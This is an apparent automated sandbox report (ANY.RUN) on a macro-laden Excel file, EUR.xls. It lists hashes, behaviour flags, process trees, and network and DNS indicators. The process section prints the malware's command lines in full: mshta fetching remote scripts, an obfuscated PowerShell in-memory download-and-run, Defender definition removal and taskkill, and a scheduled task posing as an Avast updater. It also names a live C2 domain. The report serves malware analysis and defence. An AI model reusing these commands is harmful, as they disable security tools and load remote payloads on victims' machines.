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File name:

EUR.xls

Full analysis: https://app.any.run/tasks/f1ddfa49-83f0-4168-a5b6-4a409eef01de
Verdict: Malicious activity
Analysis date: June 19, 2019, 03:58:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:17:20 2015, Last Saved Time/Date: Mon May 27 01:55:42 2019, Security: 0
MD5:

20899649D02761958ACC4DEFB9446EA4

SHA1:

74105B66CE416BBADD25CE11DE06170115AD2DB1

SHA256:

EC9299DBA52CECB550798668BA6859B1DB9405C23B997D25E672F48685947B4B

SSDEEP:

1536:QNk3hOdsylKlgxopeiBNhZFGzE+cL2kdAgbUIxSckcfyqH+xDH8mXnOjlK7EggiE:Ek3hOdsylKlgxopeiBNhZFGzE+cL2kdH

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  • MALICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 1892)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 1892)
    • Changes settings of System certificates

      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 4008)
    • Executes PowerShell scripts

      • mshta.exe (PID: 4008)
    • Uses Task Scheduler to run other applications

      • mshta.exe (PID: 4008)
    • Changes the autorun value in the registry

      • mshta.exe (PID: 4008)
    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 3628)
    • Uses TASKKILL.EXE to kill antiviruses

      • cmd.exe (PID: 2060)
  • SUSPICIOUS

    • Creates files in the user directory

      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 4008)
      • powershell.exe (PID: 3064)
    • Application launched itself

      • mshta.exe (PID: 2872)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • mshta.exe (PID: 2872)
    • Adds / modifies Windows certificates

      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 4008)
    • Starts CMD.EXE for commands execution

      • mshta.exe (PID: 4008)
    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 2060)
    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 2060)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 1892)
    • Reads internet explorer settings

      • mshta.exe (PID: 2872)
      • mshta.exe (PID: 4008)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: -
LastModifiedBy: -
Software: Microsoft Excel
CreateDate: 2015:06:05 18:17:20
ModifyDate: 2019:05:27 00:55:42
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Sheet1
HeadingPairs:
  • Worksheets
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
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Total processes
52
Monitored processes
13
Malicious processes
4
Suspicious processes
0

Behavior graph

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start excel.exe no specs mshta.exe mshta.exe cmd.exe no specs powershell.exe schtasks.exe no specs mpcmdrun.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1892"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
1
Version:
14.0.6024.1000
2872mshta http://j.mp/bnmcbsdjcgsdjckC:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
4008"C:\Windows\System32\mshta.exe" http://www.pastebin.com/raw/HX72131yC:\Windows\System32\mshta.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2060"C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & taskkill /f /im winword.exe & taskkill /f /im excel.exe & taskkill /f /im MSPUB.exe & taskkill /f /im POWERPNT.EXE & taskkill /f /im MSASCuiL.exe & taskkill /f /im MpCmdRun.exe & exitC:\Windows\System32\cmd.exemshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3064"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOEx $SA_s = ((New-Object Net.WebClient).DowNloAdSTRiNg('h'+'t'+'t'+'p'+'s'+':'+'/'+'/'+'p'+'a'+'s'+'t'+'e'+'b'+'i'+'n'+'.'+'c'+'o'+'m'+'/'+'r'+'a'+'w'+'/rwgtwLMg'));$SA_s=$SA_s.replace('.','0');$SA_s = $SA_s.ToCharArray();[Array]::Reverse($SA_s);[byte[]]$Ci_W = [System.Convert]::FromBase64String($SA_s);$ASD_w = [System.Threading.Thread]::GetDomain().Load($Ci_W);$ASD_w.EntryPoint.invoke($S,$X);C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1073807364
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3628"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 30 /tn "Avast Updater" /tr "mshta.exe http://pastebin.com/raw/Cbt2DYUh" /F C:\Windows\System32\schtasks.exemshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3912MpCmdRun.exe -removedefinitions -dynamicsignatures C:\Program Files\Windows Defender\MpCmdRun.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Malware Protection Command Line Utility
Exit code:
2
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2196taskkill /f /im winword.exe C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2468taskkill /f /im excel.exe C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3624taskkill /f /im MSPUB.exe C:\Windows\system32\taskkill.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 191
Read events
980
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
3
Text files
15
Unknown types
1

Dropped files

PID
Process
Filename
Type
1892EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR3EC2.tmp.cvr
MD5:
SHA256:
2872mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\authorization[1].css
MD5:
SHA256:
2872mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1]
MD5:
SHA256:
2872mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\error[1]
MD5:
SHA256:
2872mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\warning[1]
MD5:
SHA256:
3064powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M9CPGNY60LXNR1AMDGX4.temp
MD5:
SHA256:
1892EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFA9EDD3B1A379EAB0.TMP
MD5:
SHA256:
2872mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\error[2]text
MD5:35FE91C2AC1BA0913CC617622B9EB43F
SHA256:966240C0527B20E8E2553B7E5A68594AE69230AA00186F2C6C2C342405494837
2872mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\3[1].htmlhtml
MD5:7CAA86C178AB8D503438B319008FC78B
SHA256:36BF4114999312264D9EAF26BDE7CF0BD291CFEC7D490EB896544435D219CB55
2872mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\3399642339-ieretrofit[1].jshtml
MD5:BE2B0433B22D6FC049F1B2D75DAAF7FA
SHA256:7186786ED5A17B3DB11B7BE7B4EFF0E2A95FDE616D81E68FEE6530F7523FB6E9
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HTTP(S) requests
2
TCP/UDP connections
13
DNS requests
9
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4008
mshta.exe
GET
301
104.20.208.21:80
http://www.pastebin.com/raw/HX72131y
US
html
6.56 Kb
shared
2872
mshta.exe
GET
301
67.199.248.16:80
http://j.mp/bnmcbsdjcgsdjck
US
html
126 b
shared
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2872
mshta.exe
172.217.21.233:443
resources.blogblog.com
Google Inc.
US
whitelisted
2872
mshta.exe
67.199.248.16:80
j.mp
Bitly Inc
US
shared
2872
mshta.exe
172.217.21.225:443
xasjow21d.blogspot.com
Google Inc.
US
whitelisted
4008
mshta.exe
104.20.208.21:80
www.pastebin.com
Cloudflare Inc
US
shared
2872
mshta.exe
216.58.207.73:443
www.blogger.com
Google Inc.
US
whitelisted
3064
powershell.exe
104.20.209.21:443
www.pastebin.com
Cloudflare Inc
US
shared
4008
mshta.exe
104.20.209.21:443
www.pastebin.com
Cloudflare Inc
US
shared
3064
powershell.exe
62.108.37.28:666
kronozzz2.duckdns.org
comtrance GmbH
DE
malicious

DNS requests

Domain
IP
Reputation
j.mp
  • 67.199.248.16
  • 67.199.248.17
shared
xasjow21d.blogspot.com
  • 172.217.21.225
whitelisted
www.blogger.com
  • 216.58.207.73
shared
resources.blogblog.com
  • 172.217.21.233
whitelisted
www.pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
shared
kronozzz2.duckdns.org
  • 62.108.37.28
malicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
2872
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
4008
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
No debug info